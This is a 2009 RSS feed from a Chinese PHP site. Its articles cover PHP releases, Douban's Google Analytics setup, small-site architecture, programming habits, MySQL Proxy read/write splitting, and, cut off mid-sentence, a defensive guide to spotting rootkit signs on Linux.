<?xml version="1.0" encoding="UTF-8" ?> 
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>PHP5研究室</title>
        <image>
        <title>PHP5研究室 -  - 致力推广国内PHP发展!</title>
        <link>http://www.phpv.net/</link>
        <url></url>
        </image>
<description>PHP5研究室 - PHP5研究室是提供PHP,mysql,linux,apache,WEB标准等精华文章的网站</description>
<managingEditor></managingEditor> 
<webMaster></webMaster>
<link>http://www.phpv.net/</link>
<language>zh-cn</language>
<generator>Varticle 0.4</generator>

<item>
  <title>PHP 5.3.0 Released!</title>
  <link>http://www.phpv.net/html/1693.html</link>
  <comments>http://www.phpv.net/html/1693.html#comments</comments>
  <pubDate>Wed, 01 Jul 2009 14:16:30 +0800 GMT</pubDate>
  <dc:creator>esayr</dc:creator>
            <category>
            <![CDATA[ PHP5研究[新] ]]>
            </category>
  <content:encoded>
            <![CDATA[ 最近团队发布版本挺勤快的. PHP&nbsp;      <a href="http://php.net/downloads.php#v5.3.0">5.3.0</a> 这就来了！<br>这个版本 release 得很自豪，是 PHP 5.* 系列的一个重大改进,包含了大量的新特性,修复了大量的BUG<br><br>新特性包括：<a target="_blank" href="http://php.net/namespaces">命名空间</a>，静态延迟绑定，闭包，可选的垃圾回收周期机制.<br>加了些 <a href="http://php.net/phar">ext/phar</a>,
      <a href="http://php.net/intl">ext/intl</a> &nbsp;
      <a href="http://php.net/fileinfo">ext/fileinfo</a> 的新扩展，修的BUG就超出140来个.<br><br>官方特意做了一个从PHP5.2迁移到PHP5.3的专题,<a target="_blank" href="http://www.php.net/migration53">点这里看</a><br><div> 然后 <a target="_blank" href="http://php.net/ChangeLog-5.php">ChangeLog</a> 在这里.<br><br><br>最后,新版本点这里下载:<br><ul><li>
  <a target="_blank" href="http://www.php.net/get/php-5.3.0.tar.gz/from/a/mirror">PHP 5.3.0 (tar.gz)</a> linux 源码包 [12,929Kb] -  30 June 2009<br>
  <span class="md5sum">md5: f4905eca4497da3f0beb5c96863196b4<br><br></span></li><li><span class="md5sum">Windows 的 <a target="_blank" href="http://windows.php.net/download/">在这里下</a><br></span></li></ul><br>

    </div><br><br> ]]>
            </content:encoded>
</item>

<item>
  <title>浅析豆瓣的 Google Analytics 应用</title>
  <link>http://www.phpv.net/html/1692.html</link>
  <comments>http://www.phpv.net/html/1692.html#comments</comments>
  <pubDate>Wed, 01 Jul 2009 13:46:02 +0800 GMT</pubDate>
  <dc:creator>admin</dc:creator>
            <category>
            <![CDATA[ 其它杂谈 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p>大家好，我是<a target="_blank" title="owen的SEM和网络统计博客" href="http://sem.joyit.net/">owen</a>，主要从事 Online marketing 方面的工作，平时主要专注于 SEM 和 Web analytics。这次很荣幸能够应 <a target="_blank" href="http://fairyfish.net/">Denis</a> 之邀，在我爱水煮鱼抛砖引玉，发表 Web analytics 方面的文章，希望以后能够在这里，与大家多多交流这方面的知识。今天首先给大家简单谈谈豆瓣网怎么应用 Google Analytics。<br>
<span></span></p>
<h2>豆瓣 Google Analytics 代码加载模式</h2>
<p>豆瓣从今年开始也加入 Google Analytics 的统计阵营。让我们通过它加载的 Google Analytics 源码，简单分析一下它都是怎么应用的。</p>
<p>我们先从豆瓣的源码来看看它的Google Analytics统计代码</p>
<p style="text-align: center;"><img src="http://www.phpv.net/uploadfile/month_200907/local_SgQWoe9Mkc.jpg" alt="豆瓣 Google Analytics 代码"><br>
 豆瓣 Google Analytics 代码 </p>
<p>我们知道一般默认的 Google Analytics代码如下：</p>
<p style="text-align: center;"><img src="http://www.phpv.net/uploadfile/month_200907/local_TDkdtTlLOz.jpg" alt="默认  Google Analytics 统计代码"><br>
默认  Google Analytics 统计代码 </p>
<p>两相对比，我们就会发现豆瓣加载 <code>ga.js </code>的方式与默认的方式有些不太一样，由于豆瓣并没有采用 https 加密访问，所以撇弃了默认的ga.js加载方式。</p>
<p>默认的统计函数，<code>pageTracker </code>也被豆瓣改成了 <code>_ga</code> ，这个只是名称定义上的区别，并没有什么实质的改变。豆瓣的主要应用是下面两个函数：</p>
<h3>使用 _ga._addOrganic 识别非主流搜索引擎</h3>
<p>再来看豆瓣比默认 Google Analytics 代码增加的部分，那就是多了数个 <code>_ga._addOrganic </code>，这是 Google Analytics 添加自定义搜索引擎的代码。尽管 Google Analytics 对于主流的搜索引擎都能自动识别，但毕竟能识别的是国外的主流搜索引擎，在国内，像搜狐的 Sogou，QQ 的 soso，网易的有道等搜索引擎，<strong>都不能被 Google Analytics 正确识别，而被当作推荐来源</strong>。这时候我们就可以利用<code>_addOrganic</code> 参数来识别这些非主流搜索引擎，如豆瓣的做法。</p>
<h3>使用 _addIgnoredOrganic 忽略关键字</h3>
<p>除了添加自定义搜索引擎，豆瓣在最后还添加了如下这些代码:</p>
<pre>_ga._addIgnoredOrganic("豆瓣");<br>_ga._addIgnoredOrganic("douban");<br>_ga._addIgnoredOrganic("豆瓣网");<br>_ga._addIgnoredOrganic("www.douban.com");<br></pre>
<p>这些代码用来把引号中的关键词从搜索引擎的关键词报告中排除，而当成直接点击量来源。</p>
<p>为什么要这么做？因为一个知名的大网站，来自这些品牌词的搜索流量都非常大，常常是排在前几位的搜索关键词来源，而这通常是因为搜索引擎养成现在的
人都懒得记网址，直接搜索品牌名来记住域名。这些品牌词对于网站的关键词来源分析并没有很直接的帮助，所以在来自品牌词的流量很大的情况下，可以直接把这
些关键词识别成直接点击量来源。</p>
<p>关于<strong>自定义 Google Analytics 搜索引擎</strong>和<strong>排除特定关键词为直接点击量来源</strong>的语法，可以参考<a target="_blank" title="_addOrganic() 与 _addIgnoredOrganic() 用法介绍" href="http://code.google.com/apis/analytics/docs/gaJS/gaJSApiSearchEngines.html"> Google Code 上关于这方面的详细介绍。</a></p>
<h2>通过 _setVar 识别用户</h2>
<p>当我们登录豆瓣后，再来分析豆瓣的源码，会发现多了一个<code>ga._setVar(”xxxx”)</code>的 Google Analytics 参数。</p>
<p style="text-align: center;"><img src="http://www.phpv.net/uploadfile/month_200907/local_pFIluyVQXs.jpg" alt="豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为"><br>
 豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为 </p>
<p><code>_setVar()</code> 函数是 Google Analytics 的用户定义函数，主要用于对特定来源的用户行为进行分类，例如可以对登录浏览的用户设置一个数值，然后在 Google Analytics 后台的<strong>访问者/用户定义</strong> 中查看其浏览属性。</p>
<p style="text-align: center;"><img src="http://www.phpv.net/uploadfile/month_200907/local_LfK9D1bCL3.jpg" alt="Google Analytics 访问者/用户定义报告" width="600"><br>
Google Analytics  访问者/用户定义报告 </p>
<p>分析豆瓣的源码可以知道，豆瓣对每一个登录后的用户，都赋以一个专门的 id 值，这样可以在用户定义报告里，看到整体的登录用户访问行为，乃至每个登录用户的浏览行为。通过这样设定后，豆瓣便可以轻易获取高忠诚度访问用户的访问行为。<a target="_blank" title="_setVar 设置说明" href="http://code.google.com/apis/analytics/docs/gaJS/gaJSApiBasicConfiguration.html#_gat.GA_Tracker_._setVar">关于_setVar()的更多说明，请参阅 Google Analytics的技术文档</a></p>
<p>如何根据访问者在我的网站上访问的页面或在表单上做出的响应对其进行分类？<a target="_blank" title=" 如何根据访问者在我的网站上访问的页面或在表单上做出的响应对其进行分类？" href="http://www.google.com/support/googleanalytics/bin/answer.py?hlrm=en&amp;answer=57045">在 Google Analytics 官方的帮助文件，也给出了另外一个应用案例</a></p>
<p>值得注意的是，原来在设置 <code>_setVar()</code> 函数的时候，整个网站的跳出率会出现重大的偏差，不过在<a target="_blank" title="Google Analytics修正_setVar函数对网站跳出率的影响" href="http://analytics.blogspot.com/2009/01/using-setvar-heres-update-on-bounce.html">最近的google analytics官方博客，指出该bug已经修正</a>，客户在进行这方面设置的时候，还是要注意对比前后数据是否有重大偏差。</p>
<h2>通过 _trackPageview 区分不同类型的评论</h2>
<p>豆瓣上的书评，影评和乐评可以说是豆瓣网站的核心价值所在。一般评论的URL格式如下：</p>
<p style="text-align: center;"><img src="http://www.phpv.net/uploadfile/month_200907/local_LP9SBYU5iw.jpg" alt="豆瓣上单条评论的URL"><br>
豆瓣上单条评论的URL </p>
<p>当我们查看该页面的网页源代码时，会发现有趣的现象:</p>
<p style="text-align: center;"><img src="http://www.phpv.net/uploadfile/month_200907/local_oBi5X9K3OC.jpg" alt="豆瓣单条评论页的 Google Analytics 代码"><br>
豆瓣单条评论页的 Google Analytics 代码 </p>
<p>我们知道，一般 Google Analytics 的<code>_trackPageview()</code> 括弧中的参数是留空的， Google Analytics 会自动捕获网址的 URL 参数，如果在 <code>_trackPageview()</code>括弧中输入特定的数值，那么在 Google Analytics 的报表中，URL 将是我们指定的参数，而不再是我们在地址栏看到的 URL。</p>
<p>如上面的例子，我们在 Google Analytics 中看到的URL将是<span style="color: rgb(255, 0, 0);">/book/review/1946018/</span>，而不再是我们在浏览器地址栏看到的<span style="color: rgb(255, 0, 0);">/review/1946018/</span></p>
<p>当所在频道是电影或者音乐时，<code>_trackPageview()</code> 中的参数将根据所在频道的属性，变为/movie/xxxxx 或者 /music/xxxxx的数值。</p>
<p>豆瓣通过对的参数进行重新指定，主要有以下的好处：</p>
<p>保证了用户和搜索引擎看到的 URL 比较简短，达到 URL 对用户友好和对搜索引擎友好的目的；而在 Google Analytics 报告中，通过 <span style="color: rgb(255, 0, 0);">内容/内容细目/ </span>报告，又能了解到各个频道总的浏览情况。</p>
<p>在GA的<span style="color: rgb(255, 0, 0);">内容细目</span>报告中，将会多出 <span style="color: rgb(255, 0, 0);">/book/    /music/  /movie/</span> 这样的文件夹来，总而获得各个频道的合计浏览数据。</p>
<p>而如果只是使用默认 <code>_trackPageview()</code>，你将只能得到所有评论页面的浏览数据，而无法得到细分的各个频道的浏览数据。</p>
<p>关于<code>_trackPageview()</code>的具体的使用方法<a target="_blank" title="_trackPageview中参数的使用" href="http://code.google.com/apis/analytics/docs/gaJS/gaJSApi.html#_gat.GA_Tracker_._trackPageview">可参照 Google Code 的说明</a></p>
<p>注意事项:使用 <code>_trackPageview()</code>  参数重新指定 URL 之后，网站覆盖图的数据将受到影响。<a target="_blank" href="http://www.google.com/support/analytics/bin/answer.py?hl=cn&amp;answer=66982">可参阅 Google Analytics 的官方帮助文件</a></p>
<p>除了豆瓣使用 <code>_trackPageview()</code> 来对URL进行重写，<a target="_blank" href="http://www.dianping.com/">大众点评网</a>也采用了类似的做法（应该是比豆瓣更早采用。。。因为是我在点评网任职时候实验的做法;那时候豆瓣还没有使用 Google Analytis 统计代码，呵呵），有兴趣的同学可以自己去研究点评的 Google Analytis 代码。</p> ]]>
            </content:encoded>
</item>

<item>
  <title>PHP 5.2.10 Released!</title>
  <link>http://www.phpv.net/html/1691.html</link>
  <comments>http://www.phpv.net/html/1691.html#comments</comments>
  <pubDate>Fri, 19 Jun 2009 15:54:15 +0800 GMT</pubDate>
  <dc:creator>esayr</dc:creator>
            <category>
            <![CDATA[ PHP5研究[新] ]]>
            </category>
  <content:encoded>
            <![CDATA[ PHP 5.2.10发布，修正了百来个BUG，有一个和安全相关．这一更新使得PHP 5.2.*更加强大稳定了．<br><br>比如，bug #48378 (exif_read_data() 函数在处理某些损坏的jpeg文件时出错). <br><br>建议用户升级到最新版．<br><br>官方下载地址：<br><ul><li>
  <a href="http://www.php.net/get/php-5.2.10.tar.gz/from/a/mirror">PHP 5.2.10 (tar.gz) linux源码包</a> [11,166Kb] -  18 June 2009<br>
  <span class="md5sum">md5: 85753ba2909ac9fae5bca516adbda9e9<br><br></span></li><li><a href="http://www.php.net/get/php-5.2.10-Win32.zip/from/a/mirror">PHP 5.2.10 Windows zip 解压包</a> [10,242Kb] - 18 June 2009<br>
  <span class="md5sum">md5: 95ae7ccfcd05b6c81c93aa2e9e792f9e<br><br></span></li><li><a href="http://www.php.net/get/php-5.2.10-win32-installer.msi/from/a/mirror">PHP 5.2.10 Ｗindows 安装包</a> [19,098Kb] - 18 June 2009<br>
  <span class="md5sum">md5: 38b65bc57f64c66ff73f6f4e2db2cbb4</span></li></ul><br><br><br> ]]>
            </content:encoded>
</item>

<item>
  <title>小规模低性能低流量网站设计原则</title>
  <link>http://www.phpv.net/html/1687.html</link>
  <comments>http://www.phpv.net/html/1687.html#comments</comments>
  <pubDate>Mon, 20 Apr 2009 10:43:51 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ WEB架构 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p>到处都是什么大规模啊，高流量啊，高性能之类的网站架构设计，这类文章一是满足人们好奇心，但看过之后也就看过了，实际收益可能并不大；另外一个副作用是容易让人心潮澎湃，没学走先学跑，在很多条件仍不具备的情况下，<strong>过度设计、过度扩展</strong>(高德纳大爷也说过，"过早优化是万恶之源")，所以，这里反弹琵琶，讨论一下<strong>小规模</strong>、<strong>低性能</strong>、<strong>低流量</strong>的网站该如何搞法。</p>

<p>如果站点起步阶段可能就是一台机器(或是一台虚拟机，比如 <a target="_blank" href="http://jobsdigg.com/">JobsDigg.com</a> )，这个时候，去关注什么数据拆分啊，负载均衡啊，都是没影子的事情。很多大站点的经验绝不能照搬，辩证的参考才是硬道理。</p>

<h4>拥抱熟知的技术</h4>
<p>动手构建站点的时候，不要到处去问别人该用什么，什么熟悉用什么，如果用自己不擅长的技术手段来写网站，等你写完，黄花菜可能都凉了。所以，有现成
的软件组件可用，就不要自己重新发明轮子。人家说 Python 牛，但自己只懂 PHP ，那就 PHP 好了，如果熟悉 .net
?，那也不错。用烂技术不是丢人的事情，把好技术用烂才丢人。</p>

<h4>架构层次清晰化</h4>
<p>起步的阶段应该清楚的确定下来架构的层次。如果都搅和在一起，业务一旦扩增开来，如果原有的一堆东西拆不开就是非常痛苦的事情。</p>

<pre>Web Server &lt;--&gt; (AppServer)&lt;--&gt;Cache(eg. Memcached)&lt;--&gt;DB</pre>

<p>层次清晰化的一个体现是(以 LAMP 架构为例)：<strong>即使只有一台机器，也应该起个 Memcached 的实例</strong>，效果的确非常好--一般人儿我不告诉他...不要把什么都压到 DB 上，DB 一旦 I/O 压力走到磁盘上，问题要暴露出来是很快的。没错，DB 本身也会利用自己的 Cache，但 DB 的Cache 和 Memcached 设计出发点毕竟不一样。</p>

<h4>数据冗余? 有必要</h4>
<p>很多人并不是数据库设计专家，如果应用要自己设计表结构什么的，基本都是临时抱佛脚，但三个范式很多人倒是记得牢，这是大多数小型 Web 站点遇到的一个头疼事儿，一个小小的应用搞了几十个表... 忘掉范式这个玩意儿! 记住，<strong>尽可能的冗余数据</strong>，你在数据层陷入的时间越多，你在产品上投入的就会越少。用户更关心的是产品的设计。</p>

<h4>前端优化很重要</h4>
<p>因为流量低，访客可能也不多，这时候值得注意的是页面不要太大，多数流量低的站点吃亏就在于一个页面动辄几兆(我前两天看到一个Startup的首页有4M之大,可谓惊人)，用户看个页面半分钟都打不开，你说咋发展?  先把基本的条件满足，再去研究<a target="_blank" href="http://www.dbanotes.net/web-performance.html">前端优化</a>。</p>

<h4>功能增加要谨慎</h4>
<p>不是有个 80/20  原则么? 把最重要的精力放在最能给你带来商业价值的地方。有些花里胡哨的功能带来很大的开销，反而收效甚微。记住，小站点，最有价值的是业务模式，而不是你的技术有多牛。技术是为业务服务的，不要炫技。</p>

<p>有些网站不停的添加功能，恰恰是把这些新功能变成了压死自己的稻草。</p>

<h4>从开始考虑性能</h4>
<p>这一点是可选的，但也重要。设计应用的时候在开始就应考虑 Profile 这件事情。一套应用能否在后期进行有效优化和扩展，很大的程度限制在是否有比较合适的 Profile 机制上。需要补充的是，对性能的考虑必然要把有关的历史数据考虑进来。另请参见<a target="_blank" href="http://www.dbanotes.net/web/web_operations_capacity_planning.html">网站运维之道的容量规划</a>以及其它小帖子。</p>

<h4>好架构不是设计出来的</h4>

<p>这是最后要补充的一点。好的架构和最初的设计有关系，但最重要的是发展中的演化：</p>

<pre>发展--&gt;发现问题--&gt;反馈--&gt;解决问题(执行力)--&gt; 改进-&gt;进化到下一阶段--新问题出现(循环)</pre>

<p>有些站点到了某个阶段停足不前，可能卡在执行力这个地方，来自用户的反馈意见上来了之后，没有驱动力去做改进。最后也是死猪不怕开水烫了。最怕听到的就是"业务不允许"的托词，试想如果不改进业务都没了，那业务还允许么? 其实就是一层心理障碍。 </p>

<p>这篇文章有浓重的山寨风格，所以，你不要太认真。如果在用短、平、快的方式构建某些山寨网站的话，可参考其中对你有益的点，不赞同的地方可以直接忽视掉，就没必要费力留言进行争论了。</p> ]]>
            </content:encoded>
</item>

<item>
  <title>高效编程所需要做的14件事</title>
  <link>http://www.phpv.net/html/1686.html</link>
  <comments>http://www.phpv.net/html/1686.html#comments</comments>
  <pubDate>Fri, 17 Apr 2009 12:24:50 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 项目管理 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <ol><li>
<h4>计划(Plan)</h4>
<p>所谓Plan，其实就是对应于编程中的“设计”阶段，当然，这里的Plan并不像设计那样重量级。它要求我们程序员在正式编程前至少要考虑一下下面的问题：</p>
<ul><li>你这个程序，工具或是项目的目的，究竟是用来干什么的。你只有知道做什么，要达到什么样的目的，你才能做得对，做得好。</li><li>需要有什么样的功能。需要你给出来个功能列表。这样可以保证我们不会遗露了什么。</li><li>准备好一些技术难题的前期调查和解决方案。不要等到开始编程的时候才去想。</li></ul>
<p>下面这你因为有“Plan”而得到的好处：</p>
<ul><li>你能够清楚地明白你要做的东西长什么样？</li><li>你能清楚知道你要开发的东西要干些什么事？</li><li>你能够在开发过程中解决你所有可能发生的难题。</li></ul>
</li><p><span></span></p><li>
<h4>使用伪代码</h4>
<p>伪代码是一个非常不错的方式，让你可以看到你要写的程序长什么样？根据 <a target="_blank" href="http://en.wikipedia.org/wiki/Pseudocode"><span style="color: rgb(132, 36, 29);">维基百科(Wikipedia)</span></a>，伪代码被写定义成这样：</p>
<blockquote><p>伪代码是一个紧凑和非正式的从高层描述一个计算机编程算法的结构约定。其主要是为了让人阅读而不是让计算机执行。典型的伪
代码一般会忽略那些算法中不需要人去关心的细节。比如：变量声明，系统调用，或是子程序。在伪代码中，编程语言被自然的人类语言所增强而放大，从而，更方
便，更紧凑。</p></blockquote>
<p>一些人并不喜欢伪代码，因为他们并不相把同样的代码写两遍，一遍是伪代码，一遍是真代码。其实，这是可以理解的，因为两个copy的东西是比较不好
维护的。但是我想，这是可以权衡的，如果的算法很简单，那么就不需要伪代码了，如果你的算法比较复杂，比较绕，那么，有一个伪代码提纲挈领将会是一件非常
不错的事情，因为他有利于让别人从一个简单的文档来了解一个复杂的算法或系统。这就好像一个电线的布线图一样，你可以很容易地通过一个简单的文档从复杂的
实现中找到头绪。</p></li><li>
<h4>书写清楚的注释</h4>
<p>请在你的代码中书写清楚的程序注释。当然，注释不是越多越好，注释应该是简明扼要的，如果你的程序足够地清楚简单，那么注释就会显的多余。另外，注释应该是注释“原因，理由，目的”，而不是注释“是什么”，在“<a target="_blank" href="http://cocre.com/">酷壳</a>”的另一篇文章《<a target="_blank" rel="bookmark" href="http://cocre.com/?p=340">惹恼程序员的十件事</a>》中，有一条就是关于坏的注释是多么的另个讨厌。</p></li><li>
<h4>使用自动的编辑工具</h4>
<p>自动的编辑工具有很多，比如 <a target="_blank" href="http://www.macility.com/products/typinator/"><span style="color: rgb(132, 36, 29);">Typinator</span></a>，
这是一个可以通过设定一些替代的简单代码来实现重复语句的快捷插入，比如你自己的签名、常用的语句等等，通过它可以设定替代的简短代码。还有其它一些代码
自动完成的工具，比如一些VC的插件，还有像Source
Insight这样的东西。别小看这一点点时间，如果你每天都在写代码的话，今天一点点，明天一点点，将会为你省出很多的时间。</p></li><li>
<h4>减少代码</h4>
<p>减少代码的数量，坚持DRY（<span style="font-size: x-small;">Don’t Repeat Yourself</span>） 和KISS（Keep It Simple &amp; Stupid） 原则。这样可以有交物减少代码的复杂度，提高程序的易读性和可维护性，同时也能增加代码的质量。</p></li><li>
<h4>代码重用</h4>
<p>DRY (don’t repeat yourself) 原则就是告诉我们需要重用现有的代码。这样，你才能够站在巨人的肩膀之上，从而可以更多的关注和自己所要处理业务的逻辑。编程的最高境界就是写出来的代码是可能被重用的，重用和泛型这是编程里始终在追求的目标。</p></li><li>
<h4>代码重构</h4>
<p>一些老的代码可能已经不合时宜了，比较以前老的C++的STL库在多线程下可能会出现很多问题。所以，我们自己的代码也是一样的，每过一段时间，我
们需要把这些代码回收再利用，这就是软件的重构。重构代码所追求的并不是要提供更多的功能，而是让老的代码更有生命力，让老的代码跟上时代，更具扩展性，
灵活性。</p></li><li>
<h4>使用设计模式</h4>
<p>设计模式是一种从代码级解决某一些问题的方法论。这个世界上有很多很多的设计模式，比如MVC，单实例，工厂，观察者等等，等等。使用好的设计模式可以让你的代码更具重用和扩展性。关于设计模式，请参看本站的另一篇文章《<a target="_blank" rel="bookmark" href="http://cocre.com/?p=21">101个设计模式</a>》</p></li><li>
<h4>使用程序框架Framework</h4>
<p>Frameworks
是一份给程序员的礼物，他们帮助你完成了很多很细节的事情，他们有可能是一个lib库，你需要进行简单的拼装，一个几乎完成了的软件框架就已形成。这是一
个能够给开发工作提速的东西。只要上网随便搜一搜，你可以看到太多太多的框架了。形形色色，几乎都是开源社区贡献的。</p></li><li>
<h4>泛型编程</h4>
<p>如果抽像出一些程序中相似的东西，然后把这些相似的东西用一个标准的东西实现，这也是编程所追求的最高境界之一，像诸如C++中的STL之类的东西就是此类东西的最佳体现。灵活之及，几乎都快放之四海皆准了。</p></li><li>
<h4>使用开源的代码</h4>
<p>这个世界上有太多太多开源的代码了。学会利用他们可以让你更节省时间和精力，因为我们完全没有必要把相当的东西实现若干次，学会使用开源的代码不但是一个学习的过程，同样也是一个增加编程效率的事情。</p></li><li>
<h4>完善开发环境</h4>
<p>开发环境非常重要，因为好的开发环境可以让你事倍功半。他们可以让你不需要关注别的东西，比如，我曾看过某程序员在调整编辑器的字体和高亮上花费了不少工夫。是的，这是值得肯定了，只有把开发环境变得舒服，才能让自己更好的编程。</p></li><li>
<h4>使用调试器</h4>
<p>学会使用调试器来调试代码，单步跟踪，变量值跟踪，内存，堆栈等等。熟练地使用调试器可以让你更好的查找程序的问题，以得到最优的代码。</p></li><li>
<h4>使用版本管理工具</h4>
<p>版本管理工具应该是任何程序员都应该要去学会使用的东西，特别在一个团队中，如何管理程序的不同版本，如何维护，存放代码，版本管理工具绝对是开发过程中不可少的东西。其意义绝对不只代码备份和共享那么简单。下面是一些开源的管理管理工具：<a target="_blank" href="http://git-scm.com/"><span style="color: rgb(132, 36, 29);">Git</span></a>，<a target="_blank" href="http://subversion.tigris.org/"><span style="color: rgb(132, 36, 29);">SVN</span></a>，<a target="_blank" href="http://www.nongnu.org/cvs/"><span style="color: rgb(132, 36, 29);">CVS</span></a>和<a target="_blank" href="http://bazaar-vcs.org/"><span style="color: rgb(132, 36, 29);">Bazaar</span></a>。</p></li></ol> ]]>
            </content:encoded>
</item>

<item>
  <title>mysql proxy 实现读写分离</title>
  <link>http://www.phpv.net/html/1685.html</link>
  <comments>http://www.phpv.net/html/1685.html#comments</comments>
  <pubDate>Thu, 16 Apr 2009 10:25:49 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 数据库技术 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <div class="entry-body"><div><div class="item-body"><div><p>听说<a target="_blank" href="http://jan.kneschke.de/2009/4/4/mysql-proxy-0-7-0-pre-release">mysql proxy 0.7.0即将发布</a>，正好<a target="_blank" href="http://www.ooso.net/archives/495">前些日子从bzr上获取mysql proxy的代码编译过</a>，
看看当时bzr的版本号，和现在也差不了多少。在这期间，我又花了一些时间把mysql配置成读写分离，出了不少状况，由于使用的人不太多，解决问题超费劲——搜索不到有帮助的内容啊。</p><p>但是我可能是比较幸运的，最后成功的实现了读写分离，目前在开发环境运行的比较稳定，所以有必要做个笔记分享一下。</p>
<h2>读写分离脚本的问题</h2>
<p>刚启动mysql proxy的时候，经常报错 -- "Mysql server has gone
away"。我进一步缩小了可能出问题的范围(把环境简化是很重要的查错手段)，比如只连接一个mysql，或者只连接本机的mysql，没有太大帮助，最后是在mysql proxy的日志文件中看到些蛛丝马迹：</p>
<blockquote><p>
(critical) proxy-plugin.c:1367: (connect_server) [string
"/usr/local/share/mysql-proxy/r..."]:69: .address is deprecated. Use
.src.name or .dst.name instead<br>
(critical) (read_query) [string
"/usr/local/share/mysql-proxy/r..."]:179: .address is deprecated. Use
.src.name or .dst.name instead<br>
(critical) proxy-plugin.c.1115: I have no server backend, closing connection
</p></blockquote>
<p>在<a target="_blank" href="http://forums.mysql.com/list.php?146">mysql proxy的论坛</a>上看到有人碰到类似的问题，很简单，读写分离的lua脚本还是旧的，0.6.1时代的产物了，更糟糕的是，即便是即将发布的0.7.0，rw-splitting.lua也是旧版本的。lua脚本中的<b>.address</b>需要替换成<b>.src.name</b>或者<b>.dst.name</b>。</p>
<p><b>解决办法</b> —— 下载<a target="_blank" href="http://bazaar.launchpad.net/%7Ediego-fmpwizard/mysql-proxy/bug-43424/download/head%3A/rwsplitting.lua-20090112150705-l9v35osiopsn0nz0-10/rw-splitting.lua">更新之后的rw-splitting.lua</a>，情况会好转。</p>
<h2>使用prepare方法无法获得结果</h2>
<p>我在测试代码中采用php的pdo_mysql，单独连接mysql是毫无问题的，然而配合mysql
proxy使用则是屡屡受挫，查询经常没有结果返回，比较随机，从日志中也找不到有帮助的内容。这次没有找到解决办法，所以我绕了过去，在连接mysql
的时候使用伪prepare的方式：</p>
<div><span><a target="_blank" href="http://www.ooso.net/#"><br></a></span></div>
<div><span>PHP:</span>
<div>
<div>
<ol><li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: rgb(58, 106, 139);">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: rgb(0, 0, 255);">$option</span> = <span style="color: rgb(0, 0, 102);">array</span><span style="color: rgb(0, 102, 0); font-weight: bold;">(</span>PDO::<span style="color: rgb(0, 102, 0);">ATTR_EMULATE_PREPARES</span> =&gt; <span style="color: rgb(128, 0, 0);">1</span><span style="color: rgb(0, 102, 0); font-weight: bold;">)</span>; </div>
</li></ol>
</div>
</div>
</div>

<p>据称emulate方式的性能比prepare要好，所以这也算安慰奖了。</p>
<h2>专门的lua脚本分支</h2>
<p>lua脚本开发滞后，是一个比较严重的问题，所以在邮件组上看到有个新的lua脚本分支出来 —— <a target="_blank" href="https://launchpad.net/mysql-proxy-lua-scripts">https://launchpad.net/mysql-proxy-lua-scripts</a>。希望开发速度能跟上来。</p><p><br></p>
<h2>keepalive参数</h2>
<p>mysql proxy还不算太稳定，偶尔crash我也不觉得惊讶，所以新增的keepalive参数很有用。在proxy启动的时候，加上--keepalive参数，它便会努力保持proxy的运行状态，停止了也会自动重启。</p><p><br></p></div></div></div></div> ]]>
            </content:encoded>
</item>

<item>
  <title>如何判断你的Linux系统是否被黑</title>
  <link>http://www.phpv.net/html/1684.html</link>
  <comments>http://www.phpv.net/html/1684.html#comments</comments>
  <pubDate>Thu, 16 Apr 2009 09:14:07 +0800 GMT</pubDate>
  <dc:creator>admin</dc:creator>
            <category>
            <![CDATA[ unix系统 ]]>
            </category>
  <content:encoded>
            <![CDATA[ 俗称“脚本小鬼”的家伙是属于那种很糟糕的黑客，因为基本上他们中的许多和大多数人都是如此的没有技巧。可以这样说，如果你安装了所有正确的补丁，拥有经过测试的防火墙，并且在多个级别都激活了先进的入侵检测系统，那么只有在一种情况下你才会被黑，那就是，你太懒了以至没去做该做的事情，例如，安装BIND的最新补丁。<br><br>　　一不留神而被黑确实让人感到为难，更严重的是某些脚本小鬼还会下载一些众所周知的“root kits”或者流行的刺探工具，这些都占用了你的CPU，存储器，数据和带宽。这些坏人是从那里开始着手的呢?这就要从root kit开始说起。<br><br>　　一个root kit其实就是一个软件包，黑客利用它来提供给自己对你的机器具有root级别的访问权限。一旦这个黑客能够以root的身份访问你的机器，一切都完了。唯一可以做就是用最快的效率备份你的数据，清理硬盘，然后重新安装操作系统。无论如何，一旦你的机器被某人接管了要想恢复并不是一件轻而易举的事情。<br><br>　　你能信任你的ps命令吗?<br><br>　　找出root kit的首个窍门是运行ps命令。有可能对你来说一切都看来很正常。图示是一个ps命令输出的例子。真正的问题是，“真的一切都正常吗?”黑客常用的一个诡计就是把ps命令替换掉，而这个替换上的ps将不会显示那些正在你的机器上运行的非法程序。为了测试个，应该检查你的ps文件的大小，它通常位于 /bin/ps。在我们的Linux机器里它大概有60kB。我最近遇到一个被root kit替换的ps程序，这个东西只有大约12kB的大小。<br><br>　　另一个明显的骗局是把root的命令历史记录文件链接到/dev/null。这个命令历史记录文件是用来跟踪和记录一个用户在登录上一台Linux机器后所用过的命令的。黑客们把你的历史纪录文件重定向到/dev/null的目的在于使你不能看到他们曾经输入过的命令。<br><br>　　你可以通过在 shell提示符下敲入history来访问你的历史记录文件。假如你发现自己正在使用history命令，而它并没有出现在之前使用过的命令列表里，你要看一看你的~/.bash_history 文件。假如这个文件是空的，就执行一个ls -l ~/.bash_history命令。在你执行了上述的命令后你将看到类似以下的输出：<br><br>　　-rw------- 1 jd jd 13829 Oct 10 17:06 /home/jd/.bash_history<br><br>　　又或者，你可能会看到类似以下的输出：<br><br>　　lrwxrwxrwx 1 jd jd 9 Oct 10 19:40 /home/jd/.bash_history -&gt; /dev/null<br><br>　　假如你看到的是第二种，就表明这个 .bash_history 